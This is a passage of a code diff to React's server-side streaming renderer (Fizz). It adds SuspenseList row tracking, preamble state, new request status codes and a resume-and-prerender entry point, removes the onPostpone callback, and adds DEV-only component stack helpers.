+  setCaptureSuspendedCallSiteDEV,
+} from './ReactFizzThenable';
 
 // Linked list representing the identity of a component given the component/tag name and key.
 // The name might be minified but we assume that it's going to be the same generated name. Typically
@@ -199,6 +240,15 @@ type LegacyContext = {
   [key: string]: any,
 };
 
+type SuspenseListRow = {
+  pendingTasks: number, // The number of tasks, previous rows and inner suspense boundaries blocking this row.
+  boundaries: null | Array<SuspenseBoundary>, // The boundaries in this row waiting to be unblocked by the previous row. (null means this row is not blocked)
+  hoistables: HoistableState, // Any dependencies that this row depends on. Future rows need to also depend on it.
+  inheritedHoistables: null | HoistableState, // Any dependencies that previous row depend on, that new boundaries of this row needs.
+  together: boolean, // All the boundaries within this row must be revealed together.
+  next: null | SuspenseListRow, // The next row blocked by this one.
+};
+
 const CLIENT_RENDERED = 4; // if it errors or infinitely suspends
 
 type SuspenseBoundary = {
@@ -206,13 +256,18 @@ type SuspenseBoundary = {
   rootSegmentID: number,
   parentFlushed: boolean,
   pendingTasks: number, // when it reaches zero we can show this boundary's content
+  row: null | SuspenseListRow, // the row that this boundary blocks from completing.
   completedSegments: Array<Segment>, // completed but not yet flushed segments.
   byteSize: number, // used to determine whether to inline children boundaries.
+  defer: boolean, // never inline deferred boundaries
   fallbackAbortableTasks: Set<Task>, // used to cancel task on the fallback if the boundary completes or gets canceled.
   contentState: HoistableState,
   fallbackState: HoistableState,
-  trackedContentKeyPath: null | KeyNode, // used to track the path for replay nodes
-  trackedFallbackNode: null | ReplayNode, // used to track the fallback for replay nodes
+  preamble: null | Preamble,
+  tracked: null | {
+    contentKeyPath: null | KeyNode, // used to track the path for replay nodes
+    fallbackNode: null | ReplayNode, // used to track the fallback for replay nodes
+  },
   errorDigest: ?string, // the error hash if it errors
   // DEV-only fields
   errorMessage?: null | string, // the error string if it errors
@@ -227,17 +282,19 @@ type RenderTask = {
   ping: () => void,
   blockedBoundary: Root | SuspenseBoundary,
   blockedSegment: Segment, // the segment we'll write to
+  blockedPreamble: null | PreambleState,
   hoistableState: null | HoistableState, // Boundary state we'll mutate while rendering. This may not equal the state of the blockedBoundary
   abortSet: Set<Task>, // the abortable set that this task belongs to
   keyPath: Root | KeyNode, // the path of all parent keys currently rendering
   formatContext: FormatContext, // the format's specific context (e.g. HTML/SVG/MathML)
-  legacyContext: LegacyContext, // the current legacy context that this task is executing in
   context: ContextSnapshot, // the current new context that this task is executing in
   treeContext: TreeContext, // the current tree context that this task is executing in
+  row: null | SuspenseListRow, // the current SuspenseList row that this is rendering inside
   componentStack: null | ComponentStackNode, // stack frame description of the currently rendering component
   thenableState: null | ThenableState,
-  isFallback: boolean, // whether this task is rendering inside a fallback tree
-  // DON'T ANY MORE FIELDS. We at 16 already which otherwise requires converting to a constructor.
+  legacyContext: LegacyContext, // the current legacy context that this task is executing in
+  debugTask: null | ConsoleTask, // DEV only
+  // DON'T ANY MORE FIELDS. We at 16 in prod already which otherwise requires converting to a constructor.
   // Consider splitting into multiple objects or consolidating some fields.
 };
 
@@ -256,18 +313,18 @@ type ReplayTask = {
   ping: () => void,
   blockedBoundary: Root | SuspenseBoundary,
   blockedSegment: null, // we don't write to anything when we replay
+  blockedPreamble: null,
   hoistableState: null | HoistableState, // Boundary state we'll mutate while rendering. This may not equal the state of the blockedBoundary
   abortSet: Set<Task>, // the abortable set that this task belongs to
   keyPath: Root | KeyNode, // the path of all parent keys currently rendering
   formatContext: FormatContext, // the format's specific context (e.g. HTML/SVG/MathML)
-  legacyContext: LegacyContext, // the current legacy context that this task is executing in
   context: ContextSnapshot, // the current new context that this task is executing in
   treeContext: TreeContext, // the current tree context that this task is executing in
+  row: null | SuspenseListRow, // the current SuspenseList row that this is rendering inside
   componentStack: null | ComponentStackNode, // stack frame description of the currently rendering component
   thenableState: null | ThenableState,
-  isFallback: boolean, // whether this task is rendering inside a fallback tree
-  // DON'T ANY MORE FIELDS. We at 16 already which otherwise requires converting to a constructor.
-  // Consider splitting into multiple objects or consolidating some fields.
+  legacyContext: LegacyContext, // the current legacy context that this task is executing in
+  debugTask: null | ConsoleTask, // DEV only
 };
 
 export type Task = RenderTask | ReplayTask;
@@ -278,28 +335,33 @@ const FLUSHED = 2;
 const ABORTED = 3;
 const ERRORED = 4;
 const POSTPONED = 5;
+const RENDERING = 6;
 
 type Root = null;
 
 type Segment = {
-  status: 0 | 1 | 2 | 3 | 4 | 5,
+  status: 0 | 1 | 2 | 3 | 4 | 5 | 6,
   parentFlushed: boolean, // typically a segment will be flushed by its parent, except if its parent was already flushed
   id: number, // starts as 0 and is lazily assigned if the parent flushes early
   +index: number, // the index within the parent's chunks or 0 at the root
   +chunks: Array<Chunk | PrecomputedChunk>,
   +children: Array<Segment>,
+  +preambleChildren: Array<Segment>,
   // The context that this segment was created in.
   parentFormatContext: FormatContext,
   // If this segment represents a fallback, this is the content that will replace that fallback.
-  +boundary: null | SuspenseBoundary,
+  boundary: null | SuspenseBoundary,
   // used to discern when text separator boundaries are needed
   lastPushedText: boolean,
   textEmbedded: boolean,
 };
 
-const OPEN = 0;
-const CLOSING = 1;
-const CLOSED = 2;
+const OPENING = 10;
+const OPEN = 11;
+const ABORTING = 12;
+const CLOSING = 13;
+const CLOSED = 14;
+const STALLED_DEV = 15;
 
 export opaque type Request = {
   destination: null | Destination,
@@ -308,12 +370,14 @@ export opaque type Request = {
   +renderState: RenderState,
   +rootFormatContext: FormatContext,
   +progressiveChunkSize: number,
-  status: 0 | 1 | 2,
+  status: 10 | 11 | 12 | 13 | 14 | 15,
   fatalError: mixed,
   nextSegmentId: number,
   allPendingTasks: number, // when it reaches zero, we can close the connection.
   pendingRootTasks: number, // when this reaches zero, we've finished at least the root boundary.
   completedRootSegment: null | Segment, // Completed but not yet flushed root segments.
+  completedPreambleSegments: null | Array<Array<Segment>>, // contains the ready-to-flush segments that make up the preamble
+  byteSize: number, // counts the number of bytes accumulated in the shell
   abortableTasks: Set<Task>,
   pingedTasks: Array<Task>, // High priority tasks that should be worked on first.
   // Queues to flush in order of priority
@@ -323,7 +387,7 @@ export opaque type Request = {
   trackedPostpones: null | PostponedHoles, // Gets set to non-null while we want to track postponed holes. I.e. during a prerender.
   // onError is called when an error happens anywhere in the tree. It might recover.
   // The return string is used in production  primarily to avoid leaking internals, secondarily to save bytes.
-  // Returning null/undefined will cause a defualt error message in production
+  // Returning null/undefined will cause a default error message in production
   onError: (error: mixed, errorInfo: ThrownInfo) => ?string,
   // onAllReady is called when all pending task is done but it may not have flushed yet.
   // This is a good time to start writing if you want only HTML and no intermediate steps.
@@ -336,15 +400,24 @@ export opaque type Request = {
   // emit a different response to the stream instead.
   onShellError: (error: mixed) => void,
   onFatalError: (error: mixed) => void,
-  // onPostpone is called when postpone() is called anywhere in the tree, which will defer
-  // rendering - e.g. to the client. This is considered intentional and not an error.
-  onPostpone: (reason: string, postponeInfo: ThrownInfo) => void,
   // Form state that was the result of an MPA submission, if it was provided.
   formState: null | ReactFormState<any, any>,
   // DEV-only, warning dedupe
   didWarnForKey?: null | WeakSet<ComponentStackNode>,
 };
 
+type Preamble = {
+  content: PreambleState,
+  fallback: PreambleState,
+};
+
+function createPreamble(): Preamble {
+  return {
+    content: createPreambleState(),
+    fallback: createPreambleState(),
+  };
+}
+
 // This is a default heuristic for how to split up the HTML content into progressive
 // loading. Our goal is to be able to display additional new content about every 500ms.
 // Faster than that is unnecessary and should be throttled on the client. It also
@@ -362,16 +435,76 @@ export opaque type Request = {
 // 500 * 1024 / 8 * .8 * 0.5 / 2
 const DEFAULT_PROGRESSIVE_CHUNK_SIZE = 12800;
 
+function getBlockingRenderMaxSize(request: Request): number {
+  // We want to make sure that we can block the reveal of a well designed complete
+  // shell but if you have constructed a too large shell (e.g. by not adding any
+  // Suspense boundaries) then that might take too long to render. We shouldn't
+  // punish users (or overzealous metrics tracking) in that scenario.
+  // There's a trade off here. If this limit is too low then you can't fit a
+  // reasonably well built UI within it without getting errors. If it's too high
+  // then things that accidentally fall below it might take too long to load.
+  // Web Vitals target 1.8 seconds for first paint and our goal to have the limit
+  // be fast enough to hit that. For this argument we assume that most external
+  // resources are already cached because it's a return visit, or inline styles.
+  // If it's not, then it's highly unlikely that any render blocking instructions
+  // we add has any impact what so ever on the paint.
+  // Assuming a first byte of about 600ms which is kind of bad but common with a
+  // decent static host. If it's longer e.g. due to dynamic rendering, then you
+  // are going to bound by dynamic production of the content and you're better off
+  // with Suspense boundaries anyway. This number doesn't matter much. Then you
+  // have about 1.2 seconds left for bandwidth. On 3G that gives you about 112.5kb
+  // worth of data. That's worth about 10x in terms of uncompressed bytes. Then we
+  // half that just to account for longer latency, slower bandwidth and CPU processing.
+  // Now we're down to about 500kb. In fact, looking at metrics we've collected with
+  // rel="expect" examples and other documents, the impact on documents smaller than
+  // that is within the noise. That's because there's enough happening within that
+  // start up to not make HTML streaming not significantly better.
+  // Content above the fold tends to be about 100-200kb tops. Therefore 500kb should
+  // be enough head room for a good loading state. After that you should use
+  // Suspense or SuspenseList to improve it.
+  // Since this is highly related to the reason you would adjust the
+  // progressiveChunkSize option, and always has to be higher, we define this limit
+  // in terms of it. So if you want to increase the limit because you have high
+  // bandwidth users, then you can adjust it up. If you are concerned about even
+  // slower bandwidth then you can adjust it down.
+  return request.progressiveChunkSize * 40; // 512kb by default.
+}
+
+function isEligibleForOutlining(
+  request: Request,
+  boundary: SuspenseBoundary,
+): boolean {
+  // For very small boundaries, don't bother producing a fallback for outlining.
+  // The larger this limit is, the more we can save on preparing fallbacks in case we end up
+  // outlining.
+  return (
+    (boundary.byteSize > 500 ||
+      hasSuspenseyContent(boundary.contentState, /* flushingInShell */ false) ||
+      boundary.defer) &&
+    // For boundaries that can possibly contribute to the preamble we don't want to outline
+    // them regardless of their size since the fallbacks should only be emitted if we've
+    // errored the boundary.
+    boundary.preamble === null
+  );
+}
+
 function defaultErrorHandler(error: mixed) {
-  console['error'](error); // Don't transform to our wrapper
+  if (
+    typeof error === 'object' &&
+    error !== null &&
+    typeof error.environmentName === 'string'
+  ) {
+    // This was a Server error. We print the environment name in a badge just like we do with
+    // replays of console logs to indicate that the source of this throw as actually the Server.
+    bindToConsole('error', [error], error.environmentName)();
+  } else {
+    console['error'](error); // Don't transform to our wrapper
+  }
   return null;
 }
 
-function noop(): void {}
-
 function RequestInstance(
   this: $FlowFixMe,
-  children: ReactNodeList,
   resumableState: ResumableState,
   renderState: RenderState,
   rootFormatContext: FormatContext,
@@ -381,7 +514,6 @@ function RequestInstance(
   onShellReady: void | (() => void),
   onShellError: void | ((error: mixed) => void),
   onFatalError: void | ((error: mixed) => void),
-  onPostpone: void | ((reason: string, postponeInfo: PostponeInfo) => void),
   formState: void | null | ReactFormState<any, any>,
 ) {
   const pingedTasks: Array<Task> = [];
@@ -395,12 +527,14 @@ function RequestInstance(
     progressiveChunkSize === undefined
       ? DEFAULT_PROGRESSIVE_CHUNK_SIZE
       : progressiveChunkSize;
-  this.status = OPEN;
+  this.status = OPENING;
   this.fatalError = null;
   this.nextSegmentId = 0;
   this.allPendingTasks = 0;
   this.pendingRootTasks = 0;
   this.completedRootSegment = null;
+  this.completedPreambleSegments = null;
+  this.byteSize = 0;
   this.abortableTasks = abortSet;
   this.pingedTasks = pingedTasks;
   this.clientRenderedBoundaries = ([]: Array<SuspenseBoundary>);
@@ -408,7 +542,6 @@ function RequestInstance(
   this.partialBoundaries = ([]: Array<SuspenseBoundary>);
   this.trackedPostpones = null;
   this.onError = onError === undefined ? defaultErrorHandler : onError;
-  this.onPostpone = onPostpone === undefined ? noop : onPostpone;
   this.onAllReady = onAllReady === undefined ? noop : onAllReady;
   this.onShellReady = onShellReady === undefined ? noop : onShellReady;
   this.onShellError = onShellError === undefined ? noop : onShellError;
@@ -417,36 +550,6 @@ function RequestInstance(
   if (__DEV__) {
     this.didWarnForKey = null;
   }
-  // This segment represents the root fallback.
-  const rootSegment = createPendingSegment(
-    this,
-    0,
-    null,
-    rootFormatContext,
-    // Root segments are never embedded in Text on either edge
-    false,
-    false,
-  );
-  // There is no parent so conceptually, we're unblocked to flush this segment.
-  rootSegment.parentFlushed = true;
-  const rootTask = createRenderTask(
-    this,
-    null,
-    children,
-    -1,
-    null,
-    rootSegment,
-    null,
-    abortSet,
-    null,
-    rootFormatContext,
-    emptyContextObject,
-    rootContextSnapshot,
-    emptyTreeContext,
-    null,
-    false,
-  );
-  pingedTasks.push(rootTask);
 }
 
 export function createRequest(
@@ -460,12 +563,14 @@ export function createRequest(
   onShellReady: void | (() => void),
   onShellError: void | ((error: mixed) => void),
   onFatalError: void | ((error: mixed) => void),
-  onPostpone: void | ((reason: string, postponeInfo: PostponeInfo) => void),
   formState: void | null | ReactFormState<any, any>,
 ): Request {
+  if (__DEV__) {
+    resetOwnerStackLimit();
+  }
+
   // $FlowFixMe[invalid-constructor]: the shapes are exact here but Flow doesn't like constructors
-  return new RequestInstance(
-    children,
+  const request: Request = new RequestInstance(
     resumableState,
     renderState,
     rootFormatContext,
@@ -475,9 +580,43 @@ export function createRequest(
     onShellReady,
     onShellError,
     onFatalError,
-    onPostpone,
     formState,
   );
+
+  // This segment represents the root fallback.
+  const rootSegment = createPendingSegment(
+    request,
+    0,
+    null,
+    rootFormatContext,
+    // Root segments are never embedded in Text on either edge
+    false,
+    false,
+  );
+  // There is no parent so conceptually, we're unblocked to flush this segment.
+  rootSegment.parentFlushed = true;
+  const rootTask = createRenderTask(
+    request,
+    null,
+    children,
+    -1,
+    null,
+    rootSegment,
+    null,
+    null,
+    request.abortableTasks,
+    null,
+    rootFormatContext,
+    rootContextSnapshot,
+    emptyTreeContext,
+    null,
+    null,
+    emptyContextObject,
+    null,
+  );
+  pushComponentStack(rootTask);
+  request.pingedTasks.push(rootTask);
+  return request;
 }
 
 export function createPrerenderRequest(
@@ -491,7 +630,6 @@ export function createPrerenderRequest(
   onShellReady: void | (() => void),
   onShellError: void | ((error: mixed) => void),
   onFatalError: void | ((error: mixed) => void),
-  onPostpone: void | ((reason: string, postponeInfo: PostponeInfo) => void),
 ): Request {
   const request = createRequest(
     children,
@@ -504,7 +642,6 @@ export function createPrerenderRequest(
     onShellReady,
     onShellError,
     onFatalError,
-    onPostpone,
     undefined,
   );
   // Start tracking postponed holes during this render.
@@ -525,39 +662,27 @@ export function resumeRequest(
   onShellReady: void | (() => void),
   onShellError: void | ((error: mixed) => void),
   onFatalError: void | ((error: mixed) => void),
-  onPostpone: void | ((reason: string, postponeInfo: PostponeInfo) => void),
 ): Request {
-  const pingedTasks: Array<Task> = [];
-  const abortSet: Set<Task> = new Set();
-  const request: Request = {
-    destination: null,
-    flushScheduled: false,
-    resumableState: postponedState.resumableState,
+  if (__DEV__) {
+    resetOwnerStackLimit();
+  }
+
+  // $FlowFixMe[invalid-constructor]: the shapes are exact here but Flow doesn't like constructors
+  const request: Request = new RequestInstance(
+    postponedState.resumableState,
     renderState,
-    rootFormatContext: postponedState.rootFormatContext,
-    progressiveChunkSize: postponedState.progressiveChunkSize,
-    status: OPEN,
-    fatalError: null,
-    nextSegmentId: postponedState.nextSegmentId,
-    allPendingTasks: 0,
-    pendingRootTasks: 0,
-    completedRootSegment: null,
-    abortableTasks: abortSet,
-    pingedTasks: pingedTasks,
-    clientRenderedBoundaries: ([]: Array<SuspenseBoundary>),
-    completedBoundaries: ([]: Array<SuspenseBoundary>),
-    partialBoundaries: ([]: Array<SuspenseBoundary>),
-    trackedPostpones: null,
-    onError: onError === undefined ? defaultErrorHandler : onError,
-    onPostpone: onPostpone === undefined ? noop : onPostpone,
-    onAllReady: onAllReady === undefined ? noop : onAllReady,
-    onShellReady: onShellReady === undefined ? noop : onShellReady,
-    onShellError: onShellError === undefined ? noop : onShellError,
-    onFatalError: onFatalError === undefined ? noop : onFatalError,
-    formState: null,
-  };
+    postponedState.rootFormatContext,
+    postponedState.progressiveChunkSize,
+    onError,
+    onAllReady,
+    onShellReady,
+    onShellError,
+    onFatalError,
+    null,
+  );
+  request.nextSegmentId = postponedState.nextSegmentId;
+
   if (typeof postponedState.replaySlots === 'number') {
-    const resumedId = postponedState.replaySlots;
     // We have a resume slot at the very root. This is effectively just a full rerender.
     const rootSegment = createPendingSegment(
       request,
@@ -568,7 +693,6 @@ export function resumeRequest(
       false,
       false,
     );
-    rootSegment.id = resumedId;
     // There is no parent so conceptually, we're unblocked to flush this segment.
     rootSegment.parentFlushed = true;
     const rootTask = createRenderTask(
@@ -579,16 +703,19 @@ export function resumeRequest(
       null,
       rootSegment,
       null,
-      abortSet,
+      null,
+      request.abortableTasks,
       null,
       postponedState.rootFormatContext,
-      emptyContextObject,
       rootContextSnapshot,
       emptyTreeContext,
       null,
-      false,
+      null,
+      emptyContextObject,
+      null,
     );
-    pingedTasks.push(rootTask);
+    pushComponentStack(rootTask);
+    request.pingedTasks.push(rootTask);
     return request;
   }
 
@@ -605,16 +732,47 @@ export function resumeRequest(
     -1,
     null,
     null,
-    abortSet,
+    request.abortableTasks,
     null,
     postponedState.rootFormatContext,
-    emptyContextObject,
     rootContextSnapshot,
     emptyTreeContext,
     null,
-    false,
+    null,
+    emptyContextObject,
+    null,
+  );
+  pushComponentStack(rootTask);
+  request.pingedTasks.push(rootTask);
+  return request;
+}
+
+export function resumeAndPrerenderRequest(
+  children: ReactNodeList,
+  postponedState: PostponedState,
+  renderState: RenderState,
+  onError: void | ((error: mixed, errorInfo: ErrorInfo) => ?string),
+  onAllReady: void | (() => void),
+  onShellReady: void | (() => void),
+  onShellError: void | ((error: mixed) => void),
+  onFatalError: void | ((error: mixed) => void),
+): Request {
+  const request = resumeRequest(
+    children,
+    postponedState,
+    renderState,
+    onError,
+    onAllReady,
+    onShellReady,
+    onShellError,
+    onFatalError,
   );
-  pingedTasks.push(rootTask);
+  // Start tracking postponed holes during this render.
+  request.trackedPostpones = {
+    workingMap: new Map(),
+    rootNodes: [],
+    rootSlots: null,
+  };
   return request;
 }
 
@@ -634,27 +792,36 @@ function pingTask(request: Request, task: Task): void {
   pingedTasks.push(task);
   if (request.pingedTasks.length === 1) {
     request.flushScheduled = request.destination !== null;
-    scheduleWork(() => performWork(request));
+    if (request.trackedPostpones !== null || request.status === OPENING) {
+      scheduleMicrotask(() => performWork(request));
+    } else {
+      scheduleWork(() => performWork(request));
+    }
   }
 }
 
 function createSuspenseBoundary(
   request: Request,
+  row: null | SuspenseListRow,
   fallbackAbortableTasks: Set<Task>,
+  preamble: null | Preamble,
+  defer: boolean,
 ): SuspenseBoundary {
   const boundary: SuspenseBoundary = {
     status: PENDING,
     rootSegmentID: -1,
     parentFlushed: false,
     pendingTasks: 0,
+    row: row,
     completedSegments: [],
     byteSize: 0,
+    defer: defer,
     fallbackAbortableTasks,
     errorDigest: null,
     contentState: createHoistableState(),
     fallbackState: createHoistableState(),
-    trackedContentKeyPath: null,
-    trackedFallbackNode: null,
+    preamble,
+    tracked: null,
   };
   if (__DEV__) {
     // DEV-only fields for hidden class
@@ -662,6 +829,21 @@ function createSuspenseBoundary(
     boundary.errorStack = null;
     boundary.errorComponentStack = null;
   }
+  if (row !== null) {
+    // This boundary will block this row from completing.
+    row.pendingTasks++;
+    const blockedBoundaries = row.boundaries;
+    if (blockedBoundaries !== null) {
+      // Previous rows will block this boundary itself from completing.
+      request.allPendingTasks++;
+      boundary.pendingTasks++;
+      blockedBoundaries.push(boundary);
+    }
+    const inheritedHoistables = row.inheritedHoistables;
+    if (inheritedHoistables !== null) {
+      hoistHoistables(boundary.contentState, inheritedHoistables);
+    }
+  }
   return boundary;
 }
 
@@ -672,15 +854,17 @@ function createRenderTask(
   childIndex: number,
   blockedBoundary: Root | SuspenseBoundary,
   blockedSegment: Segment,
+  blockedPreamble: null | PreambleState,
   hoistableState: null | HoistableState,
   abortSet: Set<Task>,
   keyPath: Root | KeyNode,
   formatContext: FormatContext,
-  legacyContext: LegacyContext,
   context: ContextSnapshot,
   treeContext: TreeContext,
+  row: null | SuspenseListRow,
   componentStack: null | ComponentStackNode,
-  isFallback: boolean,
+  legacyContext: LegacyContext,
+  debugTask: null | ConsoleTask,
 ): RenderTask {
   request.allPendingTasks++;
   if (blockedBoundary === null) {
@@ -688,24 +872,33 @@ function createRenderTask(
   } else {
     blockedBoundary.pendingTasks++;
   }
-  const task: RenderTask = {
+  if (row !== null) {
+    row.pendingTasks++;
+  }
+  const task: RenderTask = ({
     replay: null,
     node,
     childIndex,
     ping: () => pingTask(request, task),
     blockedBoundary,
     blockedSegment,
+    blockedPreamble,
     hoistableState,
     abortSet,
     keyPath,
     formatContext,
-    legacyContext,
     context,
     treeContext,
+    row,
     componentStack,
     thenableState,
-    isFallback,
-  };
+  }: any);
+  if (!disableLegacyContext) {
+    task.legacyContext = legacyContext;
+  }
+  if (__DEV__) {
+    task.debugTask = debugTask;
+  }
   abortSet.add(task);
   return task;
 }
@@ -721,11 +914,12 @@ function createReplayTask(
   abortSet: Set<Task>,
   keyPath: Root | KeyNode,
   formatContext: FormatContext,
-  legacyContext: LegacyContext,
   context: ContextSnapshot,
   treeContext: TreeContext,
+  row: null | SuspenseListRow,
   componentStack: null | ComponentStackNode,
-  isFallback: boolean,
+  legacyContext: LegacyContext,
+  debugTask: null | ConsoleTask,
 ): ReplayTask {
   request.allPendingTasks++;
   if (blockedBoundary === null) {
@@ -733,25 +927,34 @@ function createReplayTask(
   } else {
     blockedBoundary.pendingTasks++;
   }
+  if (row !== null) {
+    row.pendingTasks++;
+  }
   replay.pendingTasks++;
-  const task: ReplayTask = {
+  const task: ReplayTask = ({
     replay,
     node,
     childIndex,
     ping: () => pingTask(request, task),
     blockedBoundary,
     blockedSegment: null,
+    blockedPreamble: null,
     hoistableState,
     abortSet,
     keyPath,
     formatContext,
-    legacyContext,
     context,
     treeContext,
+    row,
     componentStack,
     thenableState,
-    isFallback,
-  };
+  }: any);
+  if (!disableLegacyContext) {
+    task.legacyContext = legacyContext;
+  }
+  if (__DEV__) {
+    task.debugTask = debugTask;
+  }
   abortSet.add(task);
   return task;
 }
@@ -766,11 +969,12 @@ function createPendingSegment(
 ): Segment {
   return {
     status: PENDING,
+    parentFlushed: false,
     id: -1, // lazily assigned later
     index,
-    parentFlushed: false,
     chunks: [],
     children: [],
+    preambleChildren: [],
     parentFormatContext,
     boundary,
     lastPushedText,
@@ -778,15 +982,14 @@ function createPendingSegment(
   };
 }
 
-// DEV-only global reference to the currently executing task
-let currentTaskInDEV: null | Task = null;
 function getCurrentStackInDEV(): string {
   if (__DEV__) {
     if (currentTaskInDEV === null || currentTaskInDEV.componentStack === null) {
       return '';
     }
-    // TODO: Support owner based stacks for logs during SSR.
-    return getStackByComponentStackNode(currentTaskInDEV.componentStack);
+    return getOwnerStackByComponentStackNodeInDev(
+      currentTaskInDEV.componentStack,
+    );
   }
   return '';
 }
@@ -795,81 +998,257 @@ function getStackFromNode(stackNode: ComponentStackNode): string {
   return getStackByComponentStackNode(stackNode);
 }
 
-function createBuiltInComponentStack(
-  task: Task,
-  type: string,
-): ComponentStackNode {
-  return {
-    tag: 0,
-    parent: task.componentStack,
-    type,
-  };
-}
-function createFunctionComponentStack(
-  task: Task,
-  type: Function,
-): ComponentStackNode {
-  return {
-    tag: 1,
-    parent: task.componentStack,
-    type,
-  };
-}
-function createClassComponentStack(
-  task: Task,
-  type: Function,
-): ComponentStackNode {
-  return {
-    tag: 2,
-    parent: task.componentStack,
-    type,
-  };
-}
-
-function createComponentStackFromType(
+function pushHaltedAwaitOnComponentStack(
   task: Task,
-  type: Function | string,
-): ComponentStackNode {
-  if (typeof type === 'string') {
-    return createBuiltInComponentStack(task, type);
+  debugInfo: void | null | ReactDebugInfo,
+): void {
+  if (!__DEV__) {
+    // eslint-disable-next-line react-internal/prod-error-codes
+    throw new Error(
+      'pushHaltedAwaitOnComponentStack should never be called in production. This is a bug in React.',
+    );
   }
-  if (shouldConstruct(type)) {
-    return createClassComponentStack(task, type);
+  if (debugInfo != null) {
+    for (let i = debugInfo.length - 1; i >= 0; i--) {
+      const info = debugInfo[i];
+      if (info.awaited != null) {
+        const asyncInfo: ReactAsyncInfo = (info: any);
+        const bestStack =
+          asyncInfo.debugStack == null ? asyncInfo.awaited : asyncInfo;
+        if (bestStack.debugStack !== undefined) {
+          task.componentStack = {
+            parent: task.componentStack,
+            type: asyncInfo,
+            owner: bestStack.owner,
+            stack: bestStack.debugStack,
+          };
+          task.debugTask = (bestStack.debugTask: any);
+          break;
+        }
+      }
+    }
   }
-  return createFunctionComponentStack(task, type);
 }
 
-type ThrownInfo = {
-  componentStack?: string,
-};
-export type ErrorInfo = ThrownInfo;
-export type PostponeInfo = ThrownInfo;
+// performWork + retryTask without mutation
+function rerenderStalledTask(request: Request, task: Task): void {
+  const prevStatus = request.status;
+  request.status = STALLED_DEV;
+
+  const prevContext = getActiveContext();
+  const prevDispatcher = ReactSharedInternals.H;
+  ReactSharedInternals.H = HooksDispatcher;
+  const prevAsyncDispatcher = ReactSharedInternals.A;
+  ReactSharedInternals.A = DefaultAsyncDispatcher;
+
+  const prevRequest = currentRequest;
+  currentRequest = request;
+
+  const prevGetCurrentStackImpl = ReactSharedInternals.getCurrentStack;
+  ReactSharedInternals.getCurrentStack = getCurrentStackInDEV;
+
+  const prevResumableState = currentResumableState;
+  setCurrentResumableState(request.resumableState);
+  switchContext(task.context);
+  const prevTaskInDEV = currentTaskInDEV;
+  setCurrentTaskInDEV(task);
+  try {
+    retryNode(request, task);
+  } catch (x) {
+    // Suspended again.
+    resetHooksState();
+  } finally {
+    setCurrentTaskInDEV(prevTaskInDEV);
+    setCurrentResumableState(prevResumableState);
+
+    ReactSharedInternals.H = prevDispatcher;
+    ReactSharedInternals.A = prevAsyncDispatcher;
+
+    ReactSharedInternals.getCurrentStack = prevGetCurrentStackImpl;
+    if (prevDispatcher === HooksDispatcher) {
+      // This means that we were in a reentrant work loop. This could happen
+      // in a renderer that supports synchronous work like renderToString,
+      // when it's called from within another renderer.
+      // Normally we don't bother switching the contexts to their root/default
+      // values when leaving because we'll likely need the same or similar
+      // context again. However, when we're inside a synchronous loop like this
+      // we'll to restore the context to what it was before returning.
+      switchContext(prevContext);
+    }
+    currentRequest = prevRequest;
+    request.status = prevStatus;
+  }
+}
 
-// While we track component stacks in prod all the time we only produce a reified stack in dev and
-// during prerender in Prod. The reason for this is that the stack is useful for prerender where the timeliness
-// of the request is less critical than the observability of the execution. For renders and resumes however we
-// prioritize speed of the request.
-function getThrownInfo(
+function pushSuspendedCallSiteOnComponentStack(
   request: Request,
-  node: null | ComponentStackNode,
-): ThrownInfo {
-  if (
-    node &&
-    // Always produce a stack in dev
-    (__DEV__ ||
-      // Produce a stack in prod if we're in a prerender
-      request.trackedPostpones !== null)
-  ) {
-    return {
-      componentStack: getStackFromNode(node),
+  task: Task,
+): void {
+  setCaptureSuspendedCallSiteDEV(true);
+  const restoreThenableState = ensureSuspendableThenableStateDEV(
+    // refined at the callsite
+    ((task.thenableState: any): ThenableState),
+  );
+  try {
+    rerenderStalledTask(request, task);
+  } finally {
+    restoreThenableState();
+    setCaptureSuspendedCallSiteDEV(false);
+  }
+
+  const suspendCallSiteStack = getSuspendedCallSiteStackDEV();
+  const suspendCallSiteDebugTask = getSuspendedCallSiteDebugTaskDEV();
+
+  if (suspendCallSiteStack !== null) {
+    const ownerStack = task.componentStack;
+    task.componentStack = {
+      // The owner of the suspended call site would be the owner of this task.
+      // We need the task itself otherwise we'd miss a frame.
+      owner: ownerStack,
+      parent: suspendCallSiteStack.parent,
+      stack: suspendCallSiteStack.stack,
+      type: suspendCallSiteStack.type,
     };
-  } else {
-    return {};
   }
+  task.debugTask = suspendCallSiteDebugTask;
 }
 
-function encodeErrorForBoundary(
-  boundary: SuspenseBoundary,
+function pushServerComponentStack(
+  task: Task,
+  debugInfo: void | null | ReactDebugInfo,
+): void {
+  if (!__DEV__) {
+    // eslint-disable-next-line react-internal/prod-error-codes
+    throw new Error(
+      'pushServerComponentStack should never be called in production. This is a bug in React.',
+    );
+  }
+  // Build a Server Component parent stack from the debugInfo.
+  if (debugInfo != null) {
+    const stack: ReactDebugInfo = debugInfo;
+    for (let i = 0; i < stack.length; i++) {
+      const componentInfo: ReactComponentInfo = (stack[i]: any);
+      if (typeof componentInfo.name !== 'string') {
+        continue;
+      }
+      if (componentInfo.debugStack === undefined) {
+        continue;
+      }
+      task.componentStack = {
+        parent: task.componentStack,
+        type: componentInfo,
+        owner: componentInfo.owner,
+        stack: componentInfo.debugStack,
+      };
+      task.debugTask = (componentInfo.debugTask: any);
+    }
+  }
+}
+
+function pushComponentStack(task: Task): void {
+  const node = task.node;
+  // Create the Component Stack frame for the element we're about to try.
+  // It's unfortunate that we need to do this refinement twice. Once for
+  // the stack frame and then once again while actually
+  if (typeof node === 'object' && node !== null) {
+    switch ((node: any).$$typeof) {
+      case REACT_ELEMENT_TYPE: {
+        const element: any = node;
+        const type = element.type;
+        const owner = __DEV__ ? element._owner : null;
+        const stack = __DEV__ ? element._debugStack : null;
+        if (__DEV__) {
+          pushServerComponentStack(task, element._debugInfo);
+          task.debugTask = element._debugTask;
+        }
+        task.componentStack = createComponentStackFromType(
+          task.componentStack,
+          type,
+          owner,
+          stack,
+        );
+        break;
+      }
+      case REACT_LAZY_TYPE: {
+        if (__DEV__) {
+          const lazyNode: LazyComponentType<any, any> = (node: any);
+          pushServerComponentStack(task, lazyNode._debugInfo);
+        }
+        break;
+      }
+      default: {
+        if (__DEV__) {
+          const maybeUsable: Object = node;
+          if (typeof maybeUsable.then === 'function') {
+            const thenable: Thenable<ReactNodeList> = (maybeUsable: any);
+            pushServerComponentStack(task, thenable._debugInfo);
+          }
+        }
+      }
+    }
+  }
+}
+
+function createComponentStackFromType(
+  parent: null | ComponentStackNode,
